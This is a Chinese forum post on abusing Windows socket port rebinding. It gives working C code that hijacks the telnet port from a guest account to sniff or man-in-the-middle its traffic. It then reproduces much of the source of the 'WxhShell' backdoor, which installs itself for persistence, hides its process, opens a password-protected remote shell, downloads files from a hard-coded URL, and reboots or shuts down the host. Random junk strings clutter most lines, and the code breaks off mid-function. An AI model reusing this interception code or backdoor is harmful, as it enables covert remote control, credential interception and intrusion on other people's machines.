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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:  ^]?ju L  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5i=C?W`'  
5a5)hmO RB  
  saddr.sin_family = AF_INET; ZQ_AqzT3D  
mpd?F 'V  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); /1b7f'  
o`Q.;1(Y'  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); uP^u:'VjbH  
KESM5p"f  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 #@P0i^pFTB  
f8)fm2^09  
  这意味着什么?意味着可以进行如下的攻击: FQ u c}A  
*eMMfxFl  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 C40o_1g  
8Y/1+-  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %m-U:H.Vp  
8;x0U`}Ez(  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 @iN"]GFjS  
-]Q\G  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  YRU95K [  
N{uVh;_  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 plM:7#eA  
,OFNV|S$  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 zxeT{AFPr?  
-0P9|;h5  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ?H eUU  
<,y> W!  
  #include e s<  
  #include TrBW0Bn>p  
  #include U|x#'jGo'  
  #include    [gj>ey8T  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Cl!9/l?z  
  int main() mB"1QtD  
  { dj{~!}  
  WORD wVersionRequested; 0!M'z  
  DWORD ret; D THWL  
  WSADATA wsaData; P=Su)c  
  BOOL val; w YQEm  
  SOCKADDR_IN saddr; R$;TX^r'o&  
  SOCKADDR_IN scaddr; od^ylg>K  
  int err; `i<Z< <c>  
  SOCKET s; <jBRUa[j_  
  SOCKET sc; %Rk DR  
  int caddsize; R[OXYHu  
  HANDLE mt; MfO: BX@$  
  DWORD tid;   J M`[|"R%  
  wVersionRequested = MAKEWORD( 2, 2 ); Rx?ze(  
  err = WSAStartup( wVersionRequested, &wsaData ); I moxg+u  
  if ( err != 0 ) { *q+X ?3  
  printf("error!WSAStartup failed!\n"); "<LWz&e^^  
  return -1; Zpz3 ?VM(  
  } Os KtxtLO  
  saddr.sin_family = AF_INET; [pInF Qh6  
   %*#+(A"V  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 `@#rAW D  
b7B|$T,  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); YLuf2ja}X  
  saddr.sin_port = htons(23); ',/2J0_  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Y(R.<LtY  
  { |#'n VN.;  
  printf("error!socket failed!\n"); kT:I.,N   
  return -1; }Eh &'  
  } O&,8X-Ix  
  val = TRUE; JfmYr47Pv  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Udq!YXE0  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) \>X!n2rLZe  
  { x,ZF+vE  
  printf("error!setsockopt failed!\n"); h}kJ,n  
  return -1; -gUp/ #l1  
  } F~eY'~&H}  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; -+0kay%  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 $m A2 AI  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 6[S IDOp*^  
b`@J"E}  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) bc3`x1)\^  
  { Ej1 <T,w_  
  ret=GetLastError(); &xUD (  
  printf("error!bind failed!\n"); qHvUBx0  
  return -1; Sa kew  
  } wE}Wh5  
  listen(s,2); =[LorvX+  
  while(1) W1EYVXN  
  { N1B$z3E *  
  caddsize = sizeof(scaddr); XK})?LTD  
  //接受连接请求 Keem \/  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ZJ.an%4  
  if(sc!=INVALID_SOCKET) IdK<:)Q  
  { n2EPx(~  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); PcqS#!t  
  if(mt==NULL) eTuKu(0 E  
  { [FLR&=.(  
  printf("Thread Creat Failed!\n"); jFUpf.v2  
  break; MpBdke$  
  } >##Z}auY  
  } D:/q<<|  
  CloseHandle(mt); "%\hDL;  
  } niKfat?  
  closesocket(s); 0[e!/*_V  
  WSACleanup(); kw E2V+2  
  return 0; Ih>s2nL  
  }   tym:C7v%~  
  DWORD WINAPI ClientThread(LPVOID lpParam) 5n{d jP  
  { lRb>W31"  
  SOCKET ss = (SOCKET)lpParam; Z&U:KrFH  
  SOCKET sc;  uxB`  
  unsigned char buf[4096]; MX8|;t  
  SOCKADDR_IN saddr; hzRKv6  
  long num; g5lb3`a3  
  DWORD val; ;j7G$s9  
  DWORD ret; .6xMLo,R  
  //如果是隐藏端口应用的话,可以在此处加一些判断 %S'+x[ 4W  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Fj]06~u  
  saddr.sin_family = AF_INET; U7 ?v4O]D[  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 0Qq<h;8xEc  
  saddr.sin_port = htons(23); .ESvMK~x  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }YVF fi~  
  { S0Q LM)  
  printf("error!socket failed!\n"); E2d'P  
  return -1; .Z  67  
  } y^ |u'XK  
  val = 100; Fx|`0 LI+C  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ][ IOlR  
  { 9@yF7  
  ret = GetLastError(); ');vc~C  
  return -1; rQyjNh  
  } N9-7YQ`D  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &lLfVa-l  
  { U||GeEd  
  ret = GetLastError(); G}9f/$'3  
  return -1; c!/ +0[  
  } >6HGh#0(p  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ;RRw-|/Wm  
  { p6R+t]oH  
  printf("error!socket connect failed!\n"); <|jh3Hlp  
  closesocket(sc); }Sbk qd5  
  closesocket(ss); cw{TS  
  return -1; y<E]; ub  
  } 0o"aSCq8t  
  while(1) #79[Qtkrhm  
  { &29jg_'W  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 | @$I<  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ao"2kqa)r  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 w2'q9pB+  
  num = recv(ss,buf,4096,0); >ItT269G  
  if(num>0) )38%E;T{X  
  send(sc,buf,num,0); ; Byt'S  
  else if(num==0) FV/t  
  break; c|;n)as9(%  
  num = recv(sc,buf,4096,0); .8u@/f%pV  
  if(num>0) 9K/EteS  
  send(ss,buf,num,0);  2Y23!hw  
  else if(num==0) [I3Nu8  
  break; ;=jF9mV.  
  } V< W;[#"  
  closesocket(ss); xdgAu  
  closesocket(sc); [Hx(a.,d  
  return 0 ; 2&>t,;v@  
  } :sJ7Wok6~  
C| ~ A]wc=  
2cH RiRT  
========================================================== gTXpaB<  
rB$~,q&.V  
下边附上一个代码,,WXhSHELL ,MNv}w@  
e ,/]]E/o  
========================================================== Z K+F<}  
jDpA>{O[  
#include "stdafx.h" uC^)#Y\"  
\&hq$  
#include <stdio.h> P:4"~ ]}  
#include <string.h> dAx ? ,  
#include <windows.h> 8qg%>ZU4d  
#include <winsock2.h> C$TU TS  
#include <winsvc.h> Sv{n?BYq  
#include <urlmon.h> :J]'c}  
:5,~CtF5 `  
#pragma comment (lib, "Ws2_32.lib") y>aO90wJ  
#pragma comment (lib, "urlmon.lib") Rz g;GH  
*k62Qz3  
#define MAX_USER   100 // 最大客户端连接数 u,So+%  
#define BUF_SOCK   200 // sock buffer B_Q{B|eEt&  
#define KEY_BUFF   255 // 输入 buffer )|xu5.F  
4d5c ]%  
#define REBOOT     0   // 重启 aC\f;&P >  
#define SHUTDOWN   1   // 关机 z&amYwQcI  
6r<a  
#define DEF_PORT   5000 // 监听端口 Lz.khE<  
Zek@xr;]  
#define REG_LEN     16   // 注册表键长度 WJh TU@'  
#define SVC_LEN     80   // NT服务名长度 {MUiK 5:  
e"%TU  
// 从dll定义API BX0lk  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $h{m")]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :^3) [.m  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); KD &nLm!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); cQj`W *  
I"88O4\@  
// wxhshell配置信息 +9b{Y^^~T  
struct WSCFG { KHML!f=mu  
  int ws_port;         // 监听端口 >nghFm  
  char ws_passstr[REG_LEN]; // 口令 S@HC$  
  int ws_autoins;       // 安装标记, 1=yes 0=no :}zyd;Rc  
  char ws_regname[REG_LEN]; // 注册表键名 |NZi2Bu  
  char ws_svcname[REG_LEN]; // 服务名 v"o"W[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Wn(!6yid  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 U]sAYp^$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 sX%n`L  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~{/M_ =  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" V2Vr7v=Y"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 f[k#Znr  
^[x cfTN  
}; q5SPyfE[  
P[ :_"4U  
// default Wxhshell configuration OB(o OPH  
struct WSCFG wscfg={DEF_PORT, 51q|-d  
    "xuhuanlingzhe", u]IbTJ'  
    1, kWXLncE  
    "Wxhshell", PR.3EL  
    "Wxhshell", ,*XB11P  
            "WxhShell Service", Q%JI-&K  
    "Wrsky Windows CmdShell Service", ~Kw#^.$3T  
    "Please Input Your Password: ", mZR3Hl$  
  1, #{q.s[g*+1  
  "http://www.wrsky.com/wxhshell.exe", d2`g,~d  
  "Wxhshell.exe" @=Q!a (g  
    }; ,I jZQ53q~  
SV>tw`2  
// 消息定义模块 oZvG Kf  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <giBL L!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 10FiA;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |:1{B1sqA  
char *msg_ws_ext="\n\rExit."; 13X}pnW  
char *msg_ws_end="\n\rQuit."; 7y'uZAF  
char *msg_ws_boot="\n\rReboot..."; ^<CVQ8R7  
char *msg_ws_poff="\n\rShutdown..."; D!rPF)K )  
char *msg_ws_down="\n\rSave to "; 7&ED>Bk  
bqcCA9 1  
char *msg_ws_err="\n\rErr!"; AEyvljv  
char *msg_ws_ok="\n\rOK!"; ]u|fLK.|  
]y0Y(  
char ExeFile[MAX_PATH]; }<04\t?  
int nUser = 0; SndR:{  
HANDLE handles[MAX_USER]; ODxZO3  
int OsIsNt; >NKJ@4Y  
x s{pGQ6Q  
SERVICE_STATUS       serviceStatus; ?R)]D:`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Z>9@)wo  
,dIev<  
// 函数声明 Y$=jAN  
int Install(void);  ? }M81  
int Uninstall(void); ,;`f* #  
int DownloadFile(char *sURL, SOCKET wsh); Tlw'05\{J  
int Boot(int flag); Jl/wP   
void HideProc(void); WoEK #,I;  
int GetOsVer(void); KxkBP/`3Q  
int Wxhshell(SOCKET wsl); yq%5h[M  
void TalkWithClient(void *cs); Za:j;u Y  
int CmdShell(SOCKET sock); gg/`{  
int StartFromService(void); cpQ5F;FI  
int StartWxhshell(LPSTR lpCmdLine); h[mT4 e3c  
xLW$>;kI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); R/+$ :  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |\,OlX,  
R=z])  
// 数据结构和表定义 yix[zfQt0  
SERVICE_TABLE_ENTRY DispatchTable[] = jc5[r;#  
{ "?8)}"/f  
{wscfg.ws_svcname, NTServiceMain}, vY4sU@+V  
{NULL, NULL} AQ~ xjU  
}; N6Mr#A-{  
G *CPj^O  
// 自我安装 W7S~~  
int Install(void) m{/7)2.  
{ C-&ymJC|  
  char svExeFile[MAX_PATH]; |[*Bn3E:  
  HKEY key; f>N DtG.6  
  strcpy(svExeFile,ExeFile); OIcXelS:@k  
`z&#|0O  
// 如果是win9x系统,修改注册表设为自启动 E/zf9\  
if(!OsIsNt) { ']M/'CcM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cM#rus?)+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); my?Ly(#  
  RegCloseKey(key); IVR%H_uz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 23}` e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9kL,69d2  
  RegCloseKey(key); bv+u7B6,  
  return 0; k#].nQG  
    } QZzamT)"  
  } _ \D %  
} q(KjhM  
else { g>lZs  
 - vvyG  
// 如果是NT以上系统,安装为系统服务 @-$8)?`q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); nKx)R^]k  
if (schSCManager!=0) AC,RS 7  
{ `b?uQ\#-M  
  SC_HANDLE schService = CreateService 4b;Mb  
  ( =oBpS=<7  
  schSCManager, W XQ@kQD  
  wscfg.ws_svcname, X6HaC+P  
  wscfg.ws_svcdisp, QN:v4,$d  
  SERVICE_ALL_ACCESS, vF72#BNs  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , kK? SG3  
  SERVICE_AUTO_START, ^tB 1Nu %  
  SERVICE_ERROR_NORMAL, #Bd]M#J17a  
  svExeFile, UL+Txc  
  NULL, 6D;N.wDZ  
  NULL, SVCh!/qe\  
  NULL, p* >z:=  
  NULL, }3(!kW  
  NULL 1JJsYX  
  ); owAO&"C  
  if (schService!=0) }p)K6!J0  
  { z(|^fi(  
  CloseServiceHandle(schService); /R# zu_i  
  CloseServiceHandle(schSCManager); fkV@3sj  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); gaF6 j!p  
  strcat(svExeFile,wscfg.ws_svcname); mWp>E`l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zggnDkC5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J@3,  
  RegCloseKey(key); g)X3:=['  
  return 0; `Q@7,z=f  
    } M(-)\~9T  
  } Ca2r<|uA  
  CloseServiceHandle(schSCManager); LP vp (1  
} UC!mp?   
} tB_le>rhl  
Sc<dxY@w7-  
return 1; }icCp)b>v  
} {;yO3];Hqw  
*;<fh,wOk  
// 自我卸载 A}9Z%U  
int Uninstall(void) .t8)`MU6.  
{ a'J0}j!  
  HKEY key; +-izC%G  
LF dvz0  
if(!OsIsNt) { <L}@p8Lq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  ? wS}'  
  RegDeleteValue(key,wscfg.ws_regname); kCBtK?g  
  RegCloseKey(key); #AD_EN9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T+Oqd\05.+  
  RegDeleteValue(key,wscfg.ws_regname); 1Bh"'9-!JT  
  RegCloseKey(key); ho\1[xS  
  return 0; fM= o?w6v  
  } Z\!,f.>g  
} D!j/a!MaKk  
} xGd60"w2  
else { RT[p!xL  
59E9K)c3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); I7ao2aS  
if (schSCManager!=0) =ZgueUz,  
{ iE%"Q? Q/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); dY1t3@E  
  if (schService!=0) :qzg?\(  
  {  o E+'@  
  if(DeleteService(schService)!=0) { q<YM,%mgj  
  CloseServiceHandle(schService); B%F]K<  
  CloseServiceHandle(schSCManager); L}Z.FqJ  
  return 0; *$Q>Om]  
  } Al$z.i?R  
  CloseServiceHandle(schService); oi #B7  
  } wuqe{?  
  CloseServiceHandle(schSCManager); (NJ{>@&  
} LlTD =tJ0  
} EGu%;[  
w\buQ6pR)  
return 1; (.J/Ql0Y  
} MO`Y&<g~A  
T.bFB+'E|  
// 从指定url下载文件 J Enjc/  
int DownloadFile(char *sURL, SOCKET wsh) qGinlE&\  
{  |$Yk)z3  
  HRESULT hr; sI>w#1.m/&  
char seps[]= "/"; 0seCQANd  
char *token; g6M>S1oOO  
char *file; [|nK5(e9  
char myURL[MAX_PATH]; E7uIur=g!  
char myFILE[MAX_PATH]; ]c(FgY c  
+R'8$  
strcpy(myURL,sURL); PRh C1#  
  token=strtok(myURL,seps); Wf~^,]9N  
  while(token!=NULL) w-|Rb~XT h  
  { @|gG3  
    file=token; _>gz&  
  token=strtok(NULL,seps); ]ch=@IV  
  } C,|&  
XC<fNK  
GetCurrentDirectory(MAX_PATH,myFILE); >"W^|2R  
strcat(myFILE, "\\"); /}:{(Go  
strcat(myFILE, file); P{Nvt/%  
  send(wsh,myFILE,strlen(myFILE),0); >y%H2][  
send(wsh,"...",3,0); g~U( w  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {yn,u)@r9S  
  if(hr==S_OK) , ZsZzZ#  
return 0; 7[ ovEE54  
else +gl\l?>sr  
return 1; FXCBX:LnvU  
Wt.DL mO  
} $|$@?H>K  
K+3-XhG  
// 系统电源模块 z "@^'{.l  
int Boot(int flag) XYcZ;Z9:  
{ I9?\Jbqg  
  HANDLE hToken; +M j 6.X  
  TOKEN_PRIVILEGES tkp; ;lMvxt:  
0R?1|YnB  
  if(OsIsNt) { t3L>@NWG  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Mc,79Ix"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); OUv)`K  
    tkp.PrivilegeCount = 1; v93b8/1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {&1L &f<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); is;g`m  
if(flag==REBOOT) { ?:R]p2ID  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6h9(u7(-N  
  return 0; '|C%X7  
} !Dd'*ee-;  
else { . ,|C>^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e@3SF  
  return 0; !LK xZ"  
} := V?;  
  } k+J3Kl09hM  
  else { M5bE5C  
if(flag==REBOOT) { d9{lj(2P  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) r-qe7K@p  
  return 0; _zj^k$ j  
} ((M,6Q}  
else { b(K"CL\p  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) A mZXUb  
  return 0; !W}sOK7#  
} \h ~_<)  
} #*(}%!rD*  
!vz'zy)7  
return 1; hFV,FBsAO  
} rS@/@jKZE  
[6VB&   
// win9x进程隐藏模块 yP58H{hQM8  
void HideProc(void) 7?dWAUF  
{ O-, "/Z  
* + T(i  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,_V V;P  
  if ( hKernel != NULL ) BJ UG<k  
  { :zL)O  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %A zy#m  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ip8ml0oG  
    FreeLibrary(hKernel); ]J Yz(m[   
  } +C% 6jGGh  
& bTCTDZh  
return; n Bm ]?  
} [F<E0rjwM  
(]@S<0  
// 获取操作系统版本 qd a 2  
int GetOsVer(void) ebA:Sq:w  
{ {!Qu(%  
  OSVERSIONINFO winfo; ,dRaV</2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 93*csO?Db  
  GetVersionEx(&winfo); Nj9A-*0g6N  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) FC0fe_U(F  
  return 1; _c-3eQ1  
  else V.Hv6  
  return 0; 12`u[O}\}-  
} >axeUd+@i  
w$ 8r<?^3  
// 客户端句柄模块 3?o4  
int Wxhshell(SOCKET wsl) KVZB`c$<t  
{ R3B+vLGX  
  SOCKET wsh; qO{z{@jo55  
  struct sockaddr_in client; ` GF w?G  
  DWORD myID; JBY.er`6C  
Nh\vWAz9  
  while(nUser<MAX_USER) 'rhgM/I  
{ Lu#qo^  
  int nSize=sizeof(client); yTZev|ej@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |))NjM'ZBl  
  if(wsh==INVALID_SOCKET) return 1; Lc!2'Do;  
}nrjA0WN  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +&.zwniSS  
if(handles[nUser]==0) PVb[E03  
  closesocket(wsh); 0F[ f%2j  
else C m[}DB  
  nUser++; e:O,$R#g  
  } 3)G~ud  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); wfo,r 7  
Xs2}n^#i  
  return 0; oSCaP,P  
} )oIh?-WL  
v3r3$(Hr  
// 关闭 socket ?V6,>e_+  
void CloseIt(SOCKET wsh) `n&:\Ib  
{ zQ,rw[C"W  
closesocket(wsh); R4p Pt  
nUser--; .UP h  
ExitThread(0); `7/(sX.  
} KF(H >gs  
D:T]$<=9  
// 客户端请求句柄 i{^T;uAE  
void TalkWithClient(void *cs) ,AnD%#o  
{ 6b|<$Je9  
R`(2Fy%0\k  
  SOCKET wsh=(SOCKET)cs; 9KVJk</:n  
  char pwd[SVC_LEN]; ]BO:*&O  
  char cmd[KEY_BUFF]; >.meecE?Q  
char chr[1]; 33oW3vS  
int i,j; c}(H*VY2n  
Z- feMM  
  while (nUser < MAX_USER) { ~i|6F~%3  
W3le)&  
if(wscfg.ws_passstr) { I}PI  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6H|1IrG  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9q'&tU'a=c  
  //ZeroMemory(pwd,KEY_BUFF); v#,queGi  
      i=0; k8D _  
  while(i<SVC_LEN) { (d_z\U7l  
/ l$enexSt  
  // 设置超时 rUI?{CV  
  fd_set FdRead; /3,/j)`a  
  struct timeval TimeOut; G*9(O:  
  FD_ZERO(&FdRead); 2+9VDf2  
  FD_SET(wsh,&FdRead); jR%*,IeB  
  TimeOut.tv_sec=8; gG?@_ie  
  TimeOut.tv_usec=0; 7P1Pk?pxy  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); PYCN3s#Gi  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); sh :$J[  
M=iTwK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @j|E"VYY  
  pwd=chr[0]; &5 "!  0  
  if(chr[0]==0xd || chr[0]==0xa) { 3^/w`(-{@  
  pwd=0; >V6t L;+  
  break; =UKxf  
  } _[HZ[9c!  
  i++; vhBW1/w&F  
    } G^.N$wcv  
IR-n:z  
  // 如果是非法用户,关闭 socket I!hh_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); l5D)UO  
} 5f*_K6,v  
@f-:C+(Nsg  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4p"'ox#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Bve|+c6W  
iVFOOsJ@  
while(1) { Cx TAd[az  
R,3cJ Y_%  
  ZeroMemory(cmd,KEY_BUFF); 1GYZ1iA  
_ /1/{  
      // 自动支持客户端 telnet标准   G'JHimP2j  
  j=0; {w2] Is2F  
  while(j<KEY_BUFF) { HPphTu}`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *D|a`R!Y  
  cmd[j]=chr[0]; WZ'Z"'  
  if(chr[0]==0xa || chr[0]==0xd) { 1Dr&BXvf]8  
  cmd[j]=0; 7(84j5zb  
  break; h ;*x1BVE  
  } YYQvt  
  j++; F{x+1hct0  
    } sa'1hX^@  
?oYO !  
  // 下载文件 IAO5li3  
  if(strstr(cmd,"http://")) { 5_(\Cd<#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `vBBJ@f4)  
  if(DownloadFile(cmd,wsh)) Wj.t4XG!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); rg^\gE6_  
  else Z!g6uV+.5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bB$f=W!m%  
  } l|.}>SfL^u  
  else { UyRy>:n  
}#^C j;  
    switch(cmd[0]) { ?F05BS#)X  
  7eCj p  
  // 帮助 O h@z<1eYZ  
  case '?': { h`6 (Oo|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u IXA{89  
    break; <q7o"NI6FZ  
  } T]\1gs41  
  // 安装 V#Wy` ce  
  case 'i': { GlJ[rD  
    if(Install()) ^("b~-cJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &@lfr623  
    else e* [wF}))  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w-Ph-L/  
    break; ~:Rbd9IB  
    } 0z/*JVka  
  // 卸载 TnQ>v{Rx  
  case 'r': { $9YQ aN%  
    if(Uninstall()) Pxl,"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :'T+`(  
    else 2^B_iyF;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X,49(-~\  
    break; 5|rBb[  
    } n.@HT"  
  // 显示 wxhshell 所在路径 |[rn/  
  case 'p': { _%CM<z e  
    char svExeFile[MAX_PATH]; Z1,rN#p9  
    strcpy(svExeFile,"\n\r"); y_9\07va<  
      strcat(svExeFile,ExeFile); Gi)Vr\Q.  
        send(wsh,svExeFile,strlen(svExeFile),0); "lt<$.  
    break; |" }rdOV)  
    } iDDJJ>F26  
  // 重启 1WtE] D  
  case 'b': { "w?0f["  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tl_3 %$s  
    if(Boot(REBOOT)) @g#5d|U);  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ejd_ 85$  
    else { $2uC%er"H  
    closesocket(wsh); ?!Y_w2  
    ExitThread(0); Z#}sK5s  
    } %UI^+:C  
    break; j/aJDE(+  
    } kEh\@x[  
  // 关机 4ior  
  case 'd': { ovp/DM  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Qhj']>#g  
    if(Boot(SHUTDOWN)) d dgDq0N1j  
